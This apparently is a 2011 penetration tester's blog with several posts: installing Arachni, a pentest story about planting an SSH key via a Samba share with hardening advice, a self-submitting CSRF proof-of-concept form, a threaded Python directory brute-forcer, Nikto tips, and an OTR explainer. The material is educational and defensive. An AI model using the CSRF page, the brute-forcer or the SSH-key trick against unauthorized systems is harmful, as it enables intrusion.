Wednesday, September 28, 2011

Arachni and Installing Ruby 1.9.2

I have known about arachni for quite some time, but didn't bother checking it out until I saw a very interesting blog post that mentioned it. The other day I decided to evaluate it. The problem was that it required ruby 1.9.2 and stupid osX 1.6 has ruby 1.8.7. So what do we do? Mac ports? Homebrew? Fink? Compile by hand? Turns out that there is a great tool to easily manage installations of ruby without foobar-ing your system. RVM is also generally recommended by the ruby community as the way to manage multiple instances of ruby on a system.

RVM

RVM is the RubyVersionManager. It is an awesome command line tool to manage multiple instances of ruby. To install it for your user, simply run:
$ bash < <(curl -s https://rvm.beginrescueend.com/install/rvm)

You will also want to add a few startup items to your bash session to use rvm in the future.
$ echo '[[ -s "$HOME/.rvm/scripts/rvm" ]] && . "$HOME/.rvm/scripts/rvm" # Load RVM function' >> ~/.bash_profile

After you do this, just 'source ~/.bash_profile' and you are ready to try out RVM.


Install ruby 1.9.2

Of course you have GCC installed on your system already, so we are ready to use rvm to install ruby 1.9.2. You do this by saying:
$ rvm install 1.9.2

There you go. It does some magic, grabs the ruby source (and other needs), compiles it, and it's installed. It places it inside of your ~/.rvm directory so it will not interfere with any of your system ruby libraries.

To use it, just say:
$ rvm use 1.9.2

Now, whenever you use ruby in this terminal, it will be using ruby 1.9.2.


Arachni

Try installing arachni:
$ git clone https://github.com/Zapotek/arachni.git
$ cd arachni
$ rvm use 1.9.2
$ gem install sys-proctable --version 0.8.2 --platform x86-darwin-8 # this is a whole other story and is only needed for installing on the mac
$ rake install
$ ./bin/arachni

Well That was painless!

Now to return to system ruby, we say:
$ rvm use default

And everything is back to normal. "If possible, things are even more normal now than they ever were."(Zim)

Tuesday, August 30, 2011

Things You Shouldn't Do

I love "hacking".(Such as I do.) But, my first love was system administration. There is a lot of satisfaction, to a neat freak like me, to create and administer a finely tuned FreeBSD server. It honestly makes me giddy to think of all the system configs properly formated and commented, etc. Having a tidy system that follows correct guidelines is not only a beautiful thing, but it is also usually a secure thing. A lot of insecurities that I see in my job are caused by having an untidy system, coding untidy spaghetti code, or running an untidy framework or operating system.(I'm looking at YOU ColdFusion and Windows. ;])

I recently performed a test on a system that was a bad example of being tidy. I would like to talk about a few things that could have prevented me getting shell on this particular box.

= The Story =
There was a target hosting samba shares. I had credentials to a few of these file shares and decided to access one them. As I listed the contents of the directory, something caught my eye. I looked again. Sure enough, I had seen a .viminfo file fly by. I looked around a little more and saw a .bash_history file and a .ssh folder. Oh my! "This couldn't possible work" I said to myself as I generated an SSH key. I edited the .ssh/authorized_keys file and added my key, and was able to SSH to the box with a user name that matched the samba user name.

= What Went Wrong =
Let us evaluate some of the things that were "untidy" about this box and why they caused me to get shell access.

= Services Were Pointing to a Home Directory =
This was the biggest mistake made. Services should never be pointed to a user's home directory. This is terrible because if the service is FTP, Samba, etc. then a user of that service would be able to add/edit configuration files belonging to that user. This means they could add SSH keys for SSH access, steal SSH keys that have been generated on the system, view your bash history to see what you are doing on the system, check your .viminfo to see what changes you made to config files as that user, and edit any other config they desire.

Pointing other services like Apache or an IRC server to a user's home directory can also be harmful by providing read access to users of those services. Or, allow attackers to potentially manipulate that service to access config files belonging to that user.

= User Settings =
Not running all services as root is a good idea.(That is why many systems will create an apache or postgres user.) Also, user management can be good to add extra security to file access on a system. But, not every user needs to have a password, and not every user needs to be able to log in. Who in their right mind would give the "daemon" or "sshd" user a password? Or give them bash as a login shell? Any user of this type should not be able to login and should have a "nologin" shell.(Check your OS instructions for doing this) Configure your users carefully.

= SSH Policy =
Not all users who can login to the system should have SSH access. Root should not have SSH access either.(This makes bruteforcing access easier.) Consider also adding an AllowUsers line in your sshd_config.

= SSH key policy =
Does this user really need an SSH key on a remote system? Or should the remote system have a public key on this one? You be the judge. But unless you have an automated process using an SSH key to periodically transfer files to this machine, make sure you have a password on your SSH keys!(Also, remember that with the aid of your known_hosts file, I know what machines this key may give me access to.)

= User Directories Should Be In The Correct Location =
This is probably how a service was pointed to a Home directory in the first place. I found out, after gaining shell access, that a number of users had their home directories in /export/$USER instead of /export/home/$USER.(This is a solaris system.) This is NOT a tidy system! This leads to confusion and mistakes! Again, configure your users carefully.
= System Updates =
Allowing someone to obtain shell access on a secure system is bad. Shell access to an outdated system with privilege escalation vulnerabilities is worse.(That's what happened in this case.) Updates should be applied in a timely manner.

= Do Not Reuse Passwords =
Turns out, all of this fileshare + SSH key nonsense was more work than I needed to do. This system had not only created a user with the same name as the file share I was accessing, but they had give the user the same password as well. Shell access was as easy as SSHing to the box as a legitimate user. palm(face)

= Logging =
With the major problems on this system, I encouraged the administrator to check their logs to see if they could identify if any suspicious activity had already occurred. It turns out that almost all logging was disabled, was not being backed up, and was not being examined.

Hopefully this gives each of us Sys-Admins and System Architects some food for thought.

Monday, June 27, 2011

CSRF With POST

For anyone who needs a primer on Cross-Site Request Forgery(CSRF), I would recommend reading the White Paper from White Hat: https://www.whitehatsec.com/resource/whitepapers/csrf_cross_site_request_forgery.html

I ran into a website the other day that thought only accepting POST data on a page was sufficient protection against CSRF attacks. Not so. A form can almost as easily be automatically sent via POST as it can via GET. Below you will find some example code that could be placed on a page to automatically exploit CSRF via POST.

<html>
<body>
<form name="csrf" action="https://www.owasp.org/index.php/Special:Search" method="post" id="csrf">
<input type="hidden" name="search" value="csrf" />
</form>
<script type="text/javascript">
function csrf_post () {
var form = document.getElementById("csrf");
form.submit();
}
window.onload = csrf_post;
</script>
</body>
</html>

I am sure that there are many effective ways to do this, so post a comment with your favorite way to exploit CSRF via POST and why.
(Hee hee, "POST a comment", I'm so funny.)

Wednesday, April 27, 2011

Python Threading

I am working on a Python CLI replacement for DirBuster. As part of this, I needed to learn the basics of Python Threading/Queueing. Below you will find a brief explanation of what Threads and Queues are, and some sample code that I will explain.

What is a Thread?

To answer that, we must first understand that Processes are, "independent execution units that contain their own state information, use their own address spaces, and only interact with each other via interprocess communication mechanisms (generally managed by the operating system)." On the other hand, a thread is, "a coding construct that doesn't affect the architecture of an application. A single process might contains multiple threads; all threads within a process share the same state and same memory space, and can communicate with each other directly, because they share the same variables." (See: http://www.cafeaulait.org/course/week11/02.html)

What is a queue?

A queue is a data structure that is used "when information must be exchanged safely between multiple threads." (See: http://docs.python.org/library/queue.html, http://en.wikipedia.org/wiki/Queue_(data_structure)) They are a First In First Out (FIFO) data structure.(Python also says they have a LIFO queue, but this is technically a "Stack".)

What is your example?

In our example below, we are going to find directories that exist on a webserver by brute force. To do this, we request a URL like "http://www.example.com/foo/" and see if it responds with a 200 OK. If it does, then we know that a directory exists at that address. If I were to make these requests 1 at a time, it could take quite awhile. But, if I had 10 threads all making requests at the same time, we could speed things up significantly.

Let's go through some sample code bit by bit and discuss how I use threads and queues. (All code is from simple-bust.py, found at the bottom of the page.) I am only going to point out the structure for threading and queueing. If you have any questions regarding urllib2 or any other area of the script, please refer to the python documentation.

Import our modules. We will need sys to exit, urllib2 to make the requests, and all the rest for making/using threads.

import Queue
import signal
import sys
import threading
import urllib2


Next we make our thread object. This inherits from threading.Thread. You'll notice that all the action is inside of the run function. Everything that you want a thread to do needs to be contained in the run function.

class ThreadDir(threading.Thread):
"""Thread to request a directory and print to screen if 200 recieved"""
def __init__(self, host, dir_queue, user_agent):
threading.Thread.__init__(self)
self.host = host
self.dir_queue = dir_queue
self.user_agent = user_agent

def run(self):
opener = urllib2.build_opener()
opener.addheaders = [('User-agent', self.user_agent)]
while True:
# Get dir from dir_queue
dir = self.dir_queue.get()
# Form the URL
url = '%s/%s/' % (host, dir)
# Request the URL or return "None" if a 4XX is returned
try:
request = opener.open(url)
except urllib2.HTTPError:
request = None
# Check the return code and print to screen if not 404
if request:
print '%-70s-- %s' % (url, request.getcode())
# Signal to queue that the job is done
self.dir_queue.task_done()



Two important thread/queue items to point out, from the code above, are "self.dir_queue.get()" and "self.dir_queue.task_done(). The first is used to request from the queue the next bit of information that needs to be processed.(Like a directory name for us to brute force.) The second is used to tell the queue that we have successfully processed the last bit of information that it gave us. Pretty simple huh!

Setting up the threads and the queue is also very simple. You will see below that we just instantiate Queue.Queue. In the example we are giving it a maxsize because of some issues I was having with threads being very noisy if the script was interrupted. If you do not pass any options to Queue.Queue it gives you a FIFO queue with no max size. Really easy. We will talk about how we add things to the queue in just a bit.

def main(host, dirs, user_agent, threads):
signal.signal(signal.SIGINT, signal_handler)
dir_queue = Queue.Queue(maxsize=threads - 1)
# Spawn all threads and pass host and dir_queue
for i in range(threads):
t = ThreadDir(host, dir_queue, user_agent)
t.daemon = True
t.start()
# Add all dirs to the queue
for dir in dirs:
if not dir[0] == '#':
dir_queue.put(dir.strip())
# Wait for this queue to finish processing
dir_queue.join()



The threads are equally as easy. We already made the object, now we just pass it the info it needs, say that it is a daemon, and start it. Piece of cake. Setting a thread's daemon to True means that if the rest of the script exits, this thread will not block, so the program will not hang until the thread is complete. And start actually starts the thread's execution.

Now to finish up the queue. To add things to the queue, we just pass info into dir_queue.put(). It doesn't get any more simple than that! In this example we just start throwing directories into the queue until it fills up. When there is a new spot in the queue, it will add another directory in. When it completes putting directories into the queue we don't want our application to exit, thus killing all our daemonized threads. To prevent this we say "dir_queue.join()" This simply blocks the program until the queue is empty. Handy.

Okay, now for that signal.signal thing up there at the top of the function. This is just to set python up to listen for a ctrl+c on the command line. Without this and the accompanying function below, ctrl+c wouldn't be recognized and we couldn't stop our scan if wanted. (And usually we don't want to wait 24 hours for our dirbuster to finish.) If you have any question about how this functions, consult the python documentation. (http://docs.python.org/library/signal.html)

def signal_handler(signal, frame):
print '\nScan aborted'
sys.exit(0)



You will code below to actually execute our script. We pass it a host, a DirBuster directory list, google's User-Agent, and the number of threads we want to start.

if __name__ == '__main__':
host = 'http://scanme.nmap.org'
dirs = open('small.txt', 'r')
user_agent = \
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html'
threads = 10
main(host, dirs, user_agent, threads)


Does it work? Well, I timed it on my machine, and to do about 400 requests took roughly 120 seconds with a single threaded script. This script was able to make 400 requests in about 12 seconds. Sounds about right for 10 threads.

Although this has been a very basic example, you can see that using threads and queues in python is quite simple. You didn't even need to use twisted. For another example, and an example that uses multiple queues, reference this wonderful article that started me off: http://www.ibm.com/developerworks/aix/library/au-threadingpython/ .

Stay tuned for a more feature rich/complete python DirBuster replacement tool release!


Complete Code --

#!/usr/bin/env python
# simple-bust.py - A very simple directory bruteforcer
# Copyright (C) 2011 Michael Monsivais
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.

import Queue
import signal
import sys
import threading
import urllib2

class ThreadDir(threading.Thread):
"""Thread to request a directory and print to screen if 200 recieved"""
def __init__(self, host, dir_queue, user_agent):
threading.Thread.__init__(self)
self.host = host
self.dir_queue = dir_queue
self.user_agent = user_agent

def run(self):
opener = urllib2.build_opener()
opener.addheaders = [('User-agent', self.user_agent)]
while True:
# Get dir from dir_queue
dir = self.dir_queue.get()
# Form the URL
url = '%s/%s/' % (host, dir)
# Request the URL or return "None" if a 4XX is returned
try:
request = opener.open(url)
except urllib2.HTTPError:
request = None
# Check the return code and print to screen if not 404
if request:
print '%-70s-- %s' % (url, request.getcode())
# Signal to queue that the job is done
self.dir_queue.task_done()

def main(host, dirs, user_agent, threads):
dir_queue = Queue.Queue(maxsize=threads - 1)
# Spawn all threads and pass host and dir_queue
for i in range(threads):
t = ThreadDir(host, dir_queue, user_agent)
t.daemon = True
t.start()
# Add all dirs to the queue
for dir in dirs:
if not dir[0] == '#':
dir_queue.put(dir.strip())
# Wait for this queue to finish processing
dir_queue.join()

def signal_handler(signal, frame):
print '\nScan aborted'
sys.exit(0)

if __name__ == '__main__':
signal.signal(signal.SIGINT, signal_handler)
host = 'http://scanme.nmap.org'
dirs = open('small.txt', 'r')
user_agent = \
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html'
threads = 10
main(host, dirs, user_agent, threads)

Monday, March 28, 2011

Nikto Is Clever

I was reading through the nikto documentation the other day and came across two interesting items.

Interesting Item 1

Nikto is very clever with how it handles error detection to eliminate false positives.
(http://cirt.net/nikto2-docs/introduction.html)

Nikto will first use the standard RFC responses (200, 404, etc) to determine if files exist or not. Many scanners would call this good, however, Nikto will also determine the "best method" of determining errors by requesting a non-existent file and watching how the server responds. Perhaps the server will respond with a 200 OK, and serve up a "Not Found" page.(Very annoying.) Nikto will attempt to match future files to the content it received on this test request. Nikto will first make an md5 of the response of this test request after stripping out date, time, and file strings. (Variable things that could change on each request) It will then compare the md5 of future requests to the md5 of the test request to determine if it is an error page. Clever huh? I am going to have to keep this in mind if I am going to try to program a dirbuster replacement.

Interesting Item 2

You can run nikto from Nessus.

To do this follow these steps:

1) Run Nessus from a Unix system. I hope you are already doing this.

2) Install nikto via apt, svn, ports (The FreeBSD kind of course), or tar.
apt-get install nikto

3) Create a symlink of nikto.pl somewhere in your path to the nikto script you just installed. (Note: Nessus is only intelligent enough to find nikto by looking for nikto.pl in your path)
ex.: ln -s /usr/bin/nikto /usr/bin/nikto.pl

4) Rerun nessusd -R to re-process the plugins
ex.: /opt/nessus/sbin/nessusd -R

5) Restart nessusd.
ex.: /etc/init.d/nessusd restart

6) Login to the Nessus web interface and add Nikto.nasl to your scan Policy. Also, under edit policy, go to Preferences->Nikto and enable Nikto and configure it to your specifications.
(See also: http://blog.tenablesecurity.com/2010/10/integrating-nikto-with-nessus-video.html)

Thursday, February 24, 2011

Tool Tip: Get Tools Via SVN (Or other version control)


Intro

I like to read /. every morning to catch up on nerd world happenings. One morning I read about a new vulnerability that was discovered in a commonly deployed network service. The penetration test I was working on that day happened to have that service running. However, because I am not yet a Stack Smashing Sorcerer, I initially felt a bit of dread about trying to figure out how to exploit this issue by myself in 1 day. "Wait", I thought. "Full disclosure and the Open Source Community FTW!" I tried an "svn up" in my Metasploit directory and there it was! Someone had committed a module to exploit that vulnerability in the last 24 hours.

Many of you have probably been in the same situation. Or perhaps you have run into a bug that makes your testing tool crash while testing a certain web application. Maybe you find that your tool is missing a lot of vulnerabilities that it should be finding. Have you considered checking your tool out via subversion? With subversion you get to use the bleeding edge features and bug fixes. There is always the danger that someone may have committed a new bug, but most open source projects of significant size keep their subversion fairly clean and functional.

What tools should you consider checking out of SVN?

Anything you would like. It will generally be easier on you to checkout those tools written in scripting languages like Python, Ruby, or Perl. Tools written in languages you will compile, like C or Java, can be checked out as well, but will be mildly less convenient because you will have to compile them yourself. However, compiling a tool yourself when needed is no trouble at all when it will give you that new feature you need, or fix that show stopper bug. Tools that have new features added regularly or with modules that are updated regularly are other good candidates that you should consider checking out of SVN. Here are some tools that I prefer to check out of SVN:


W3af
svn co https://w3af.svn.sourceforge.net/svnroot/w3af/trunk w3af
(Written in Python. After you check it out with this command, the application will automatically check for SVN updates at run time and ask you if you would like to update.)

Metasploit
svn co https://www.metasploit.com/svn/framework3/trunk/ metasploit
(Written in Ruby. Updated often with lots of great vulnerability exploits.)

Nmap
svn co --username guest --password "" svn://svn.insecure.org/nmap/
(Written in C, so you will have to compile and install it yourself. Has the script DB that is being updated often. Check out their site for tips on things you can do with their SVN.)

Nikto
svn co https://svn2.assembla.com/svn/Nikto_2/trunk nikto
(Written in Perl. They do not have official releases as often as I would like. So checking it out of SVN is a great way for me to access new features!)


What tools are not worth checking out?

Projects that commit broken or untested code to their main subversion trunk on a regular basis, projects that never have any activity on their main subversion trunk or have probably been abandoned (Grendel), or Projects that are too difficult or cumbersome to compile yourself are probably not worth the time and effort to check them out of subversion and compile them.

Aren't you curious what bug fixes or features you are missing out on? Check it out! (Hee hee, svn check it out.)


Tip: Add an alias to your ~/.bashrc to execute the program from the directory you checked it out in to. Like so:

alias w3af="python ~/SVN/w3af/w3af_console"

Be aware though, some programs will require that your current working directory is the directory the program is located in.

Friday, January 28, 2011

Off-the-Record Communication, or, Why use Pidgin

Real Life
Real life can sometimes be a lame place. The spawn points are lousy, you can't hex edit reality to give you infinite grenades, and you can't use regex to find and replace things. However, the real world does have at least one security advantage in the communications arena.

If I would like to have a secret conversation with someone in real life, I can do so with little difficulty. For a private digital conversation to have the same essential features of a real-world private conversation, we must have Confidentiality, Authenticity, Perfect Forward Secrecy, and Deniability. I will explain why these are essential features of a digital private conversation and how Off-The-Record(OTR) fulfills them.

Confidentiality (Privacy)
If you want to have a private conversation with someone in the real world you can set up a conversation in a dark ally, or at the shipping docks, or at a motel. There are no loading docks in the digital world. If we want to have a private conversation on the internet, we need a secure protocol instead of a secure location.

Some technologies have opted to use PGP for these communications. PGP does indeed provide confidentiality, but fails to provide some of the other features needed to emulate a real-world conversation. OTR uses an AES stream cipher for encryption.(http://en.wikipedia.org/wiki/Stream_cipher)

Authenticity (Proof of authorship)
If you are talking to someone at the shipping docks, you can hear their voice, see their face, and watch their manerisms. You know they are who they say they are. In a digital world, you do not have any of these resources to determine the identity of the individual you are talking to.

OTR uses a diffie-hellman key exchange with Message Authentication Codes to authenticate your conversation and ensure that you are communicating with who you think you are communicating with.(See Note 1 at end of post) With PGP you have a digital signature that you can sign messages with. This way the recipient always knows that the message is authentic. Just like in real life right? Wrong!

Deniability
In real life I am free to deny that a private conversation ever took place. The only witnesses to the conversation were the other party and myself. PGP ensures that your signature will ALWAYS prove that you are the author of a message. This means that 3rd parties (Governments, Judges, Employers) also know that the message is from you. Because of the technologies that OTR employees for key agreement, you are ensured of the identity of the individual that you are communicating with, and they of your identity. However, because of these technologies you and the other party will be unable to prove the authorship of any of your conversations. Even if your private key is compromised.

Perfect Forward Secrecy
Here is a scary thought for those of you using PGP for these communications. If you "Alice" have a conversation with "Bob", the security of your conversation is dependant on how well Bob decides to keep his private key private. You are trusting some guy named Bob to ensure the privacy of your conversation?! You don't even know what Bob's last name is! How can you trust him?! The problem is that PGP private keys and signatures are long living. OTR uses short lived keys in combination with the technologies mentioned previously to ensure that if, somehow, any conversation were to become compromised or decoded, no other conversations could be decoded. This includes any conversations that were captured previously or any that will be captured here after.

This is only a brief overview of the OTR encryption model. To read an overview of all the features of this beautiful model you must read the whitepaper from the authors.(www.cypherpunks.ca/otr/otr-wpes.pdf)

If you want to use this wonderful OTR technology yourself, you can use libotr. This library has been provided by the designers of the OTR model themselves. It is already implemented in the pidgin-otr plugin available for pidgin, or built in to the adium IM client for Mac. Also, you can use OTR on your Android phones with Whisper Systems.

Note 1: The Diffie-Hellman key agreement protocol is vulnerable to Man-In-The-Middle attacks without some form of authentication. This form of authentication is by manually verifying the fingerprint of whoever you are communicating with. Remember this before you just click "verify" on someone's fingerprint next time! This is an essential step in remaining secure. If you fail in this step, you are choosing to undo the entire elegant and beautiful system designed to keep you secure.